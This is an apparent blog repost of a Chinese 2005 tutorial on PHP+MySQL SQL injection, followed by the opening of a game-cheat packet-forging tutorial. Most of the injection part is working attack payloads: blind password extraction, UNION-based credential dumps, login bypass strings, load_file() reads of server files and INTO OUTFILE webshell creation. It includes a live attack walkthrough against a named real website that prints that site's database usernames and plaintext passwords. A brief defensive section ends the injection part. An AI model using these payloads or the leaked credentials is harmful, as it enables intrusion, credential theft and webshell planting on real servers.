{
echo "wrong";
exit;
}
else
echo "用户信息";
?>

猜测方法和上面几乎是一样的，就是我们不用再用select了。
我们输入
http://localhost/user.php?id=1 and length(password)=7
显示用户信息说明我们猜的正确，呵呵，comeon

http://localhost/user.php?id=1 and ascii(mid(password,1,1))=97
第一位密码
http://localhost/user.php?id=1 and ascii(mid(password,2,1))=97
第二位哦，

通过这种方法最终我们也可以得出id=1的用户的账号密码

2.    下面我们来看看字符型的注入方式
在asp中字符型的注入方式很灵活，在php中字符型的注入就主要在
magic_quotes_gpc＝Off的情况下进行了。（除非有另外一种情况，先不告诉你）

例如：
//display.php
……
$query="select * from alphadb where id=’”.$id.”’";
…………..
?>
这样id就变成字符型的了。
不知道大家发现没有，假如我们这样写程序的话，安全性会有所提高的哦
    呵呵，继续了
好我们检验是否有注入先
http://localhost/site/display.php?id=451' and 1=1 and ‘’=’
http://localhost/site/display.php?id=451' and 1=2 and ‘’=’
带入到sql语句里就是
select * from alphadb where id=’451’and 1=1 and ‘’=’’
select * from alphadb where id=’451’and 1=2 and ‘’=’’

如果你发现页面信息不同的话说明漏洞存在哦
或者
http://localhost/site/display.php?id=451' and 1=1 %23
http://localhost/site/display.php?id=451' and 1=2 %23
%23转化以后就是#，即注释的意思，上面说过了哦
这样的话就不用考虑那个引号的闭合问题了，实际很多时候我们推荐这种方法。
把它带入到sql语句里就成了
select * from alphadb where id=’451’and 1=1 #’
正是我们想要的哦！
看看效果吧，
http://localhost/site/display.php?id=451' and 1=1 %23
图（14）

正常显示了呓！

http://localhost/site/display.php?id=451' and 1=2 %23
图（15）

显示不正常，哈哈，说明问题存在
我们继续哦：
http://localhost/site/display.php?id=451’%20and%201=2%20%20union%20select%201,username,password,4,5,6,7,8,9,10,11%20from%20alphaauthor%23
看图（16）

Ok,用户名和密码又出来了哦！
3.    大家一起来看看搜索型注入吧
搜索型的语句一般这样写
//search.php
……
$query="select * from alphadb where title like '%$title%';
…………..
?>
不知道大家还是否记得asp里的注入呢？
不过不记得也没有关系的啦，我们看吧。
我们构建注入语句吧
在输入框输入
a%' and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor#放到sql语句中成了

select * from alphadb where title like '%a%' and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %'
结果如图17哦

怎么样，出来了吧，哈哈，一切尽在掌握之中。

C：下面我们从注入地点上在来看一下各种注入攻击方式
1)    首先来看看后台登陆哦
代码先
//login.php
…….
$query="select * from alphaauthor where UserName='"
.$HTTP_POST_VARS["UserName"]."' and
Password='". $HTTP_POST_VARS["Password"]."'";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
echo “后台登陆成功”;
}
esle
{
echo “重新登陆”；
exit；
｝

………
?>
Username和password没有经过任何处理直接放到sql中执行了。
看看我们怎么绕过呢？
最经典的还是那个：
在用户名和密码框里都输入
‘or’’=’
带入sql语句中成了
select * from alphaauthor where UserName=’’or’’=’’ and Password=’’or’’=’’
这样带入得到的$data肯定为真，也就是我们成功登陆了。
还有其他的绕过方法，原理是一样的，就是想办法让$data返回是真就可以了。
我们可以用下面的这些中方法哦
1.
用户名和密码都输入’or’a’=’a
Sql成了
select * from alphaauthor where UserName=’’or’a’=’a’ and Password=’’or’a’=’a’

2.
用户名和密码都输入’or 1=1 and ‘’=’
Sql成了
select * from alphaauthor where UserName=’ ’or 1=1 and ‘’=’’ and Password=’ ’or 1=1 and ‘’=’’
用户名和密码都输入’or 2>1 and ‘’=’
Sql成了
select * from alphaauthor where UserName=’ ’or 2>1 and ‘’=’’ and Password=’ ’or 2>1 and ‘’=’’

3.
用户名输入’or 1=1 # 密码随便输入
Sql成了
select * from alphaauthor where UserName=’ ’or 1＝1 # and Password=’anything’
后面部分被注释掉了，当然返回还是真哦。
        4.
假设admin的id＝1的话你也可以

用户名输入’or id＝1 # 密码随便输入
Sql成了
select * from alphaauthor where UserName=’ ’or id＝1 # and Password=’anything’
如图18

看看效果图19

怎么样？直接登陆了哦！

俗话说的好，只有想不到没有做不到。
还有更多的构造方法等着课后自己想啦。

2）第二个常用注入的地方应该算是前台资料显示的地方了。
上面已经多次提到了呀，而且涉及了数字型，字符型等等，这里就不再重复了哈。
只是举个例子回顾一下
碧海潮声下载站 - v2.0.3 lite有注入漏洞，代码就不再列出来了
直接看结果
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users
如图20

看看，我们又得到我们想要的了
用户名alpha
密码一长串。
为什么我们要把password放在3字段处，把username放在5字段处了，我们上面已经提过了哦，就是我们猜测3和5段显示的应该是字符串型，而与我们要显示的username和password的字段类型应该相同，所以我们这样放了哦。
为什么要用18个字段呢？不知道大家还是否记得在union select介绍那里我们提到union必须要求前后select的字段数相同，我们可以通过增加select的个数来猜测到需要18个字段，只有这样union select的内容才会正常显示哦！
3)其它如资料修改，用户注册的地方主要得有用户等级的应用。
我们在上面讲述update和insert的时候都已经讲到，因为不是很常用，这里就不再阐述，在下面将会提到一些关于update和insert的高级利用技巧。
二：下面将要进入magic_quotes_gpc＝On时候的注入攻击教学环节了
    当magic_quotes_gpc＝On的时候，交的变量中所有的 ' (单引号),
“ (双引号), \ (反斜线) 和空字符会自动转为含有反斜线的转义字符。
    这就使字符型注入的方法化为泡影，这时候我们就只能注入数字型且没有
Intval()处理的情况了，数字型的我们已经讲了很多了是吧，由于数字型没有用到单引号自然就没有绕过的问题了，对于这种情况我们直接注入就可以了。
1）假如是字符型的就必须得像下面这个样子，没有在字符上加引号。

这里我们要用到一些字符串处理函数先，
字符串处理函数有很多，这里我们主要讲下面的几个，具体可以参照mysql中文参考手册7.4.10。

    char() 将参数解释为整数并且返回由这些整数的ASCII代码字符组成的一个字符串。
当然你也可以用字符的16进制来代替字符，这样也可以的，方法就是在16进制前面加0x，看下面的例子就明白了。

        //login.php
    ……
$query="select * from ".$art_system_db_table['user']."
where UserName=$username and Password='".$Pw."'";
……
?>

假设我们知道后台的用户名是alpha
转化成ASCII后是char(97,108,112,104,97)
转化成16进制是0x616C706861
（我们将在光盘中提供16进制和ascii转换工具）
好了直接在浏览器里输入：

http://localhost/site/admin/login.php?username=char(97,108,112,104,97)%23
sql语句变成：

select * from alphaAuthor where UserName=char(97,108,112,104,97)# and Password=''
如图21

    正如我们期望的那样，他顺利执行了，我们得到我们想要的。
    当然咯，我们也可以这样构造
http://localhost/site/admin/login.php?username=0x616C706861%23
sql语句变成：
select * from alphaAuthor where UserName=0x616C706861%23# and Password=''
我们再一次是成功者了。很有成就感吧，

或许你会问我们是否可以把#也放在char()里
实际上char(97,108,112,104,97)相当于’alpha’
注意是alpha上加引号，表示alpha字符串。
我们知道在mysql中如果执行

mysql> select * from dl_users where username=alpha;
ERROR 1054 (42S22): Unknown column 'alpha' in 'where clause'
看返回错误了。因为他会认为alpha是一个变量。所以我们得在alpha上加引号。
如下
mysql> select * from dl_users where username='alpha';
这样才是正确的。
如果你把#号也放到那里去了，就成了’alpha#’
带入sql语句中
select * from dl_users where username='alpha#';
当然是什么也没有了，因为连alpha#这个用户都没有。
好，下面我们再来看个例子，

    //display.php
    ……
$query="select * from ".$art_system_db_table['article']."
where type=$type;
……
?>

代码根据类型来显示内容，$type没有任何过滤，且没有加引号放入程序中。
假设type中含有xiaohua类，xiaohua的char()转换后是
char(120,105,97,111,104,117,97)

我们构建
http://localhost/display.php?type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
带入sql语句中为：
select * from ".$art_system_db_table['article']."
where type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
看看，我们的用户名和密码照样出来了哦！没有截图，想像一下咯：P

2)    或许有人会问，在magic_quotes_gpc＝On的情况下功能强大的load_file()还能不能用呢？
这正是我们下面要将的问题了，load_file()的使用格式是load_file(‘文件路径’)
我们发现只要把‘文件路径’转化成char()就可以了。试试看哦
load_file(‘c:/boot.ini’)转化成
load_file(char(99,58,47,98,111,111,116,46,105,110,105))
图22

    放到具体注入里就是
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,load_file(char(99,58,47,98,111,111,116,46,105,110,105)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
看图23

    看看，我们看到了boot.ini的内容了哦。
很可惜的是into outfile’’ 不能绕过，不然就更爽了。但是还是有一个地方可以使用select * from table into outfile’’ 那就是….（先卖个关子，下面会告诉你）
三：一些注入技巧，很多都是个人发现哦
1.union select的技巧
UNION 用于将多个 SELECT 语句的结果联合到一个结果集中。在 SELECT 中的 select_expression 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。
然而有我们可以用下面的方法来猜测列的类型，可是省去很多时间
我们先
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
图24

看看软件描述里写着3，作者里写着4，我们就可以猜测3和4的位置是字符型的，我们再看14前面的是下载次数，这就应该是int型的了，对吧。
好了，我们根据这里来构建吧，估计username和password也是字符型的。
试试看哦
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users
如图25

哈哈，这种方法只要看看就可以大概猜到了。
2.load_file读写文件的技巧
不知道你有没有发现过在我们用load_file()读写php文件时不能在网页中显示。例如：
'C:/apache/htdocs/site/lib/sql.inc.php'转化为16进制为：0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870
我们构造如下
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11
如图26

发现在文章内容的地方本来该显示sql.inc.php的，可是却空空之，为何呢？
我们看看网页的源代码先
图27

哈哈，看看标记的地方，晕死，原来在这里啊，可是为什么哩？
原来html中< >用于标注，哈哈，明白了吧！下次可得记得在哪里找哦。
4.    md5的恶梦
山东大学的王博士最近可是搞md5搞的红透了，我们也来搞一搞吧，我们比他更爽，不用计算，哈哈。
md5我们是有办法绕过的，但是并不是哪里都可以，php中的md5函数就不能绕过，因为你输入的所有东西都在里面，根本跑不出。可以绕过的是sql语句中的md5。当然别的sql中的函数也是可以绕过的，道理相同哦。
看例子先：
//login.php
……
$query="select * from alphaauthor where UserName=md5($username) and Password='".$Pw."'";
……
?>
我们直接在浏览器提交
http://localhost/admin/login.php?username=char(97,98)) or 1=1 %23
带入sql语句成为select * from alphaauthor where UserName=md5(char(97,98)) or 1=1 #) and Password='".$Pw."'
记得md5里面放的是字符，因为后面有or 1=2，所以我们随便放了个char(97,98).    Ok，登陆成功了哦！看看，md5在我们面前也没有什么用处。
5.    核心技术，利用php+mysql注入漏洞直接写入webshell。。
直接利用注入得到webshell，这应该是大家都很想的吧，下面就教给你。
这里假设你已经知道了网站所在的物理路径，我这里假设网站路径为c:/apache/htdocs/site。网站的mysql连接信息放在/lib/sql.inc.php里
1）适用于magic_quotes_gpc＝Off
假设我们可以上传图片，或者txt，zip，等其它东西，我们把我们的木马改成
jpg后缀的，上传后路径为/upload/2004091201.jpg
2004091201.jpg中的内容为
好，我们开始http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file('C:/apache/htdocs/site/upload/2004091201.jpg'),4,5,6,7,8,9,10,11%20into%20outfile'C:/apache/htdocs/site/shell.php'
因为适用了outfile，所以网页显示不正常，但是我们的任务是完成了。
如图28
我们赶快去看看http://localhost/site/shell.php?cmd=dir
如图29

爽否？Webshell我们已经创建成功了。看到最前面的12了没？那就是我们select 1，2所输出的！
2）下面再讲一个适用于magic_quotes_gpc＝On的时候保存webshell的方法哦，显然肯定也能用在于magic_quotes_gpc＝Off的时候啦。
我们直接读他的配置文件，用技巧2介绍的方法
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11
得到sql.inc.php内容为

好了我们知道了mysql的root密码了，我们找到phpmyadmin的后台
http://localhost/phpmyadmin/
用root密码为空登陆。
如图30
然后我们新建立一个表结构内容如下：

#
# 数据表的结构 `te`
#
CREATE TABLE te (
  cmd text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

#
# 导出下面的数据库内容 `te`
#
INSERT INTO te VALUES ('');
Ok，是我们用select * from table into outfile’’的时候了
直接在phpmyadmin的sql输入
SELECT * FROM `te` into outfile 'C:/apache/htdocs/site/cmd1.php';
如图31

Ok，成功执行，我们去http://localhost/site/cmd1.php?cmd=dir看看效果去
如图32

好爽的一个webshell是吧！哈哈，我也很喜欢。
不过不知道大家有没有发现我们是在magic_quotes_gpc＝On的情况下完成这项工作的，竟然在phpmyadmin里可以不用考虑引号的限制，哈哈，说明什么？说明phpmyadmin太伟大了，这也就是我们在谈magic_quotes_gpc＝On绕过时所卖的那个关子啦！
6.发现没有我们还可以利用update和insert来插入我们的数据，然后来得到我们的webshell哦，还用上面的那个例子，
//reg.php
……
$query = "INSERT INTO members
VALUES('$id','$login','$pass','$email',’2')" ;
……
?>
我们在email的地方输入
假设我们注册后的id为10
那么我们可以再找到一个可以注入的地方
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,email,4,5,6,7,8,9,10,11%20from%20user%20where%20id=10%20 into%20outfile'C:/apache/htdocs/site/test.php'
好了，我们又有了我们的wenshell了哦。
7.mysql的跨库查询
大家是不是一直听说mysql不能跨库查询啊，哈哈，今天我将要教大家一个好方法，通过这个方法来实现变相的跨库查询，方法就是通过load_file来直接读出mysql中data文件夹下的文件内容，从而实现变态跨库查询。
举个例子啦
在这之前我们先讲一下mysql的data文件夹下的结构
Data文件夹下有按数据库名生成的文件夹，文件夹下按照表名生成三个后缀为frm,myd,myi的三个文件，例如
Mysql中有alpha数据库，在alpha库中有alphaauthor和alphadb两个表，
Alpha文件夹内容如下图33

其中alphadb.frm放着lphadb表中的数据，alphadb.frm放着表的结构，alphadb.myi中放的内容随mysql的版本不通会有所不同，具体可以自己用记事本打开来判断。
实验开始
假设我们知道有另外的一个数据库yminfo210存在，且存在表user，user中放这admin的信息。
我们
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file('yminfo210/user.myd'),4,5,6,7,8,9,10,11
说明一下，load_file默认所在的目录是mysql下的data目录，所以我们用
load_file('yminfo210/user.myd')，当然load_file('.info210/user.myd')也是一样的，注意的是into outfile的默认路径是在所在的数据库文件夹下。

结果如图34

我们看读出来的内容
舼��?   admin 698d51a19d8a121ce581499d7b701668 admin@yoursite.comadmin question admin answer  http://www.yoursite.com  (? 靃?KA靃?靃?  127.0.0.1  d|?�?  aaa 3dbe00a167653a1aaee01d93e77e730e sdf@sd.com sdfasdfsdfa asdfadfasd   ?E麷AM麷A 127.0.0.1 222  222222223423
虽然乱码一堆，但是我们还是可以看出用户名是admin，密码是698d51a19d8a121ce581499d7b701668，后面其它的是另外的信息。
通过这种方法我们就实现了曲线跨库，下面的例子中也会提到哦！

说了这么多下面我们来具体的使用一次，这次测试的对象是国内一著名安全类站点――黑白网络
听人家说黑白有漏洞？我们一起去看看吧。
http://www.heibai.net/down/show.php?id=5403%20and%201=1
正常显示。
如图35

http://www.heibai.net/down/show.php?id=5403%20and%201=2
显示不正常。
如图36

好，我们继续
http://www.heibai.net/down/show.php?id=5403%20and%201=1 union select 1
显示结果如下
如图37

注意看图中没有显示程序名，而且还附带了
Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in D:\web\heibai\down\show.php on line 45

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in D:\web\heibai\down\global.php on line 578

晕了，网站路径出来了，那可就死定了哦！
我们继续，直到我们猜到
http://www.heibai.net/down/show.php?id=5403%20and%201=1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
的时候正常显示了。
如图38

好我们转换语句成为
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
显示如图39

看看简介处显示为12，我们可以猜测此处应该为字符型！
Ok，我们下面看看文件内容先
D:/web/heibai/down/show.php转化成ascii后为
char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112)
我们
view-source:http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112)),13,14,15,16,17,18,19
view-source:是指察看源代码，至于为什么用，我们后面将讲到
显示出它的源代码
如图40

因为在show.php中有一句

如果我们直接在浏览器里提交会跳转到list.php
我们发现这句require ("./include/config.inc.php");
好东西，应该放这配置文件，ok继续
d:/web/heibai/down/include/config.inc.php
转化成char (100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)
我们输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19
显示结果如图41

里面内容主要有
…………………..
ymDown (夜猫下载系统) 是一个应用于网站提供下载服务的的程序
// ------------------------- -------- ------------------------- //
//                           常规设置                           //
// ------------------------- -------- ------------------------- //

// 数据库信息
$dbhost = "localhost"; // 数据库主机名
$dbuser = "download";// 数据库用户名
$dbpasswd = "kunstar988"; // 数据库密码
$dbname = "download"; // 数据库名

// Cookie 名称
$cookie_name = "heibai";
// 版本号
$version = "1.0.1";

// 数据表名
$down_table = ymdown;
$down_user_table = ymdown_user;
$down_sort1_table = ymdown_sort1;
$down_sort2_table = ymdown_sort2;
晕原来用的是夜猫的下载系统，而且我们知道了
$dbuser = "download";// 数据库用户名
$dbpasswd = "kunstar988"; // 数据库密码
说不定呆会有用哦。
用的表名是默认的表名，我们知道夜猫的管理员密码放在ymdown_user中
我们继续http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,username,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19 from ymdown_user
结果如图42

根据提示我们知道文件大小处的是username，应用平台处的是password（对照图36）
即username=dload，password＝6558428，夜猫的后台默认在admin目录下，我试验了很久都没有找到，晕之。
想直接连接mysql，发现telnet端口并没有开放。我们去看看别的吧！
http://www.heibai.net/vip/article/login.php
看起来像是会员的登陆哦，我们看看先
d:/web/heibai/vip/article/login.php
转化成char (100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,103,105,110,46,112,104,112)
我们输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,103,105,110,46,112,104,112)),13,14,15,16,17,18,19
结果如图43：

其中
require ("./include/global.php");
require ("./include/config.inc.php");
require ("./mainfunction.php");
require ("./function.php");
当然了，我们去看config.inc.php吧
d:/web/heibai/vip/article/include/config.inc.php
转成char (100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)
输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19
结果如图44

显示了很多好东西哦

$dbhost = "localhost"; // 数据库主机名
$dbuser = "root"; // 数据库用户名
$dbpass = "234ytr8ut"; // 数据库密码
$dbname = "article"; // 数据库名
$ymcms_user_table = "user";
$ymcms_usergroup_table = "usergroup";
$ymcms_userrace_table = "userrace";
表还是默认的表，而且出来了root的密码
要是能连上它的mysql该多好啊，那样我们就可以into outfile了
痛苦的找了找phpmyadmin，没有找见，或许根本就没有用。
读c:/winnt/php.ini发现
; Magic quotes
;
; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes_gpc = On
55555555，痛苦中，我们看看能不能搞几个会员账号
猜测会员账号放在user表中，我们直接读data下article文件夹里的user.myd文件
Article/user.myd转换成
char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100)
我们输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100)),13,14,15,16,17,18,19
结果如图45：

晕了，竟然没有返回。我们来读Article/user.frm
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,102,114,109)),13,14,15,16,17,18,19
结果如图46

晕了，表结构都在，而且读Article/user.myi时也成功，可是为什么Article/user.myd读不出来呢?要是magic_quotes_gpc＝Off我们还可以into outfile来看看，可是……
郁闷中，测试就这样结束吧，下面的工作还是留给你们来完成吧！
文中所述问题已经通知星坤了！
四：php＋mysql注入的防范方法。
在上一期的专题里已经讲了很多的防范方法，这里我就主要讲一下php+mysql注射攻击的防范方法。
大家看到，在magic_quotes_gpc＝On的时候，很多的注射攻击已经没有作用了。
我们可以利用这个来加固我们的程序。Addslashes（）函数等同于magic_quotes_gpc＝On，而且与magic_quotes_gpc＝On也不冲突，我们可以这样过滤
$username = addslashes($username);
$query="SELECT * FROM users WHERE userid='$username'");
对于id型我们可以利用intval()函数，intval()函数可以将变量转换成整数类型，这样就可以了。
我们可以这样
$id = intval($id);
$query="SELECT * FROM alphadb WHERE articleid='$id'");
如果是字符型的呢？
我们可以先用addslashes()过滤一下，然后再过滤”%”和”_”.
例如：
$search = addslashes($search);
$search = str_replace("_","\_",$search);
$search = str_replace("%","\%",$search);
记得，可千万别在magic_quotes_gpc＝On的情况下替换\为\\,如下：
$password=str_replace("\\","\\\\",$password);
我记得在darkness的文章《对某PHP站点的一次渗透》中提到过这个问题（在光盘中有收录）。
还有的就是登陆的地方，如果是只用一个管理员管理的话，我们可以直接对username和passwd用md5加密，这样就不用害怕注入技术的发展了。
Username=md5($HTTP_POST_VARS["username"]);
Passwd=md5($HTTP_POST_VARS["passwd"]);
我的后台登陆就是这样子的哦。
后记：
本文就讲这么多了，注入是一门灵活的技术，有很多技术还在继续发展中，有任何问题和意见可以到炎黄兵团(www.cnwill.com/www.securityfaq.org)来找我，也欢迎对文中内容批评指正。为便于大家学习本文所用到的文章系统也将随光盘附送。
后后记：
此文还是一年前所作，时至今日，很多的新的技术都已经涌现出来，具体的内容请参阅安全天使www.4ngel.net网站，关于本文的任何问题您可以到www.securityfaq.org提出。
                                                    -------Alpha-------
                                                            20050309

-------------此文转自:http://www.xfocus.net/articles/200503/781.html

yiye 2007-05-20 02:36 发表评论

wpe1。3C的详细使用教程

yiye — Tue, 14 Jun 2005 02:22:00 GMT

wpe修改教程一：什么叫外挂？网络游戏外挂编写教程
做自己喜欢的！------
明天你来自己做外挂
随着网络游戏的日益火爆，很多玩家都投身到游戏中。目前很多玩家都依赖于一些游戏的外挂程序来进行游戏。那么做一个游戏的外挂程序是否是一件很困难的事呢？回答是"否"，诚然编写一些程序是需要一些基本知识的，所以我们想以最简单的语言来给你讲授编写外挂程序的一些技巧，一些方法，并提供给你一些基本的辅助工具，即使你是一个菜鸟，看了我们的教程，并技巧地使用我们提供给你的工具，你完全能够编写出一个完全属于你自己的外挂。在本教程内，我们提供了金庸群侠传，以及网络三国这两个游戏的修改实际例子，因为这两款游戏都是对封包进行过加密运算的，如果你对这两个游戏的修改有了一定的了解后，相信你在其他游戏中也能非常好地做出属于自己的外挂。我们提供了金庸打增援20个NPC和网络三国在PK中自动吃药，自动发镖这两个实际的例子，让你上手更容易。我们会在教程内讲授给你怎么去破解封包的加密算法，怎么利用我们提供给你工具来伪造和发送封包。本教程除了文字教程外，我们还会提供金庸群侠和三国的外挂程序，另外还提供6个外挂制作工具，以供你使用。希望在以后的游戏中，每一个玩家都能够在游戏中成长起来，不但游戏玩的出色，修改游戏也同样出色，做一个真正的游戏DIY。

要想在修改游戏中做到百战百胜，是需要相当丰富的计算机知识的。有很多计算机高手就是从玩游戏，修改游戏中，逐步对计算机产生浓厚的兴趣，逐步成长起来的。不要在羡慕别人能够做到的，因为别人能够做的你也能够！我相信你们看了本教程后，会对游戏有一个全新的认识，呵呵，因为我是个好老师！（别拿鸡蛋砸我呀，救命啊！#￥%……*）

　　不过要想从修改游戏中学到知识，增加自己的计算机水平，可不能只是靠修改游戏呀！
要知道，修改游戏只是一个验证你对你所了解的某些计算机知识的理解程度的场所，只能给你一些发现问题、解决问题的机会，只能起到帮助你提高学习计算机的兴趣的作用，而决不是学习计算机的捷径。

一：什么叫外挂？
现在的网络游戏多是基于Internet上客户／服务器模式，服务端程序运行在游戏服务器上，游戏的设计者在其中创造一个庞大的游戏空间，各地的玩家可以通过运行客户端程序同时登录到游戏中。简单地说，网络游戏实际上就是由游戏开发商提供一个游戏环境，而玩家们就是在这个环境中相对自由和开放地进行游戏操作。那么既然在网络游戏中有了服务器这个概念，我们以前传统的修改游戏方法就显得无能为力了。记得我们在单机版的游戏中，随心所欲地通过内存搜索来修改角色的各种属性，这在网络游戏中就没有任何用处了。因为我们在网络游戏中所扮演角色的各种属性及各种重要资料都存放在服务器上，在我们自己机器上（客户端）只是显示角色的状态，所以通过修改客户端内存里有关角色的各种属性是不切实际的。那么是否我们就没有办法在网络游戏中达到我们修改的目的？回答是"否"。我们知道Internet客户／服务器模式的通讯一般采用TCP/IP通信协议，数据交换是通过IP数据包的传输来实现的，一般来说我们客户端向服务器发出某些请求，比如移动、战斗等指令都是通过封包的形式和服务器交换数据。那么我们把本地发出消息称为SEND，意思就是发送数据，服务器收到我们SEND的消息后，会按照既定的程序把有关的信息反馈给客户端，比如，移动的坐标，战斗的类型。那么我们把客户端收到服务器发来的有关消息称为RECV。知道了这个道理，接下来我们要做的工作就是分析客户端和服务器之间往来的数据（也就是封包），这样我们就可以提取到对我们有用的数据进行修改，然后模拟服务器发给客户端，或者模拟客户端发送给服务器，这样就可以实现我们修改游戏的目的了。

目前除了修改游戏封包来实现修改游戏的目的，我们也可以修改客户端的有关程序来达到我们的要求。我们知道目前各个服务器的运算能力是有限的，特别在游戏中，游戏服务器要计算游戏中所有玩家的状况几乎是不可能的，所以有一些运算还是要依靠我们客户端来完成，这样又给了我们修改游戏提供了一些便利。比如我们可以通过将客户端程序脱壳来发现一些程序的判断分支，通过跟踪调试我们可以把一些对我们不利的判断去掉，以此来满足我们修改游戏的需求。

在下几个章节中，我们将给大家讲述封包的概念，和修改跟踪客户端的有关知识。大家准备好了吗？

游戏数据格式和存储：

在进行我们的工作之前，我们需要掌握一些关于计算机中储存数据方式的知识和游戏中储存数据的特点。本章节是提供给菜鸟级的玩家看的，如果你是高手就可以跳过了，呵呵！
　　如果，你想成为无坚不摧的剑客，那么，这些东西就会花掉你一些时间；如果，你只想作个江湖的游客的话，那么这些东西，了解与否无关紧要。是作剑客，还是作游客，你选择吧！

现在我们开始！首先，你要知道游戏中储存数据的几种格式，这几种格式是：字节(BYTE)、字(WORD)和双字(DOUBLE
WORD)，或者说是8位、16位和32位储存方式。字节也就是8位方式能储存0~255的数字；字或说是16位储存方式能储存0~65535的数；双字即32位方式能储存0~4294967295的数。

为何要了解这些知识呢？在游戏中各种参数的最大值是不同的，有些可能100左右就够了，比如，金庸群侠传中的角色的等级、随机遇敌个数等等。而有些却需要大于255甚至大于65535，象金庸群侠传中角色的金钱值可达到数百万。所以，在游戏中各种不同的数据的类型是不一样的。在我们修改游戏时需要寻找准备修改的数据的封包，在这种时候，正确判断数据的类型是迅速找到正确地址的重要条件。

　　在计算机中数据以字节为基本的储存单位，每个字节被赋予一个编号，以确定各自的位置。这个编号我们就称为地址。

在需要用到字或双字时，计算机用连续的两个字节来组成一个字，连续的两个字组成一个双字。而一个字或双字的地址就是它们的低位字节的地址。
现在我们常用的Windows 9x操作系统中，地址是用一个32位的二进制数表示的。而在平时我们用到内存地址时，总是用一个8位的16进制数来表示它。

二进制和十六进制又是怎样一回事呢？

　　简单说来，二进制数就是一种只有0和1两个数码，每满2则进一位的计数进位法。同样，16进制就是每满十六就进一位的计数进位法。16进制有0--F十六个数字，它为表示十到十五的数字采用了A、B、C、D、E、F六个数字，它们和十进制的对应关系是：A对应于10，B对应于11，C对应于12，D对应于13，E对应于14，F对应于15。而且，16进制数和二进制数间有一个简单的对应关系，那就是；四位二进制数相当于一位16进制数。比如，一个四位的二进制数1111就相当于16进制的F，1010就相当于A。

了解这些基础知识对修改游戏有着很大的帮助，下面我就要谈到这个问题。由于在计算机中数据是以二进制的方式储存的，同时16进制数和二进制间的转换关系十分简单，所以大部分的修改工具在显示计算机中的数据时会显示16进制的代码，而且在你修改时也需要输入16进制的数字。你清楚了吧？

　　在游戏中看到的数据可都是十进制的，在要寻找并修改参数的值时，可以使用Windows提供的计算器来进行十进制和16进制的换算，我们可以在开始菜单里的程序组中的附件中找到它。

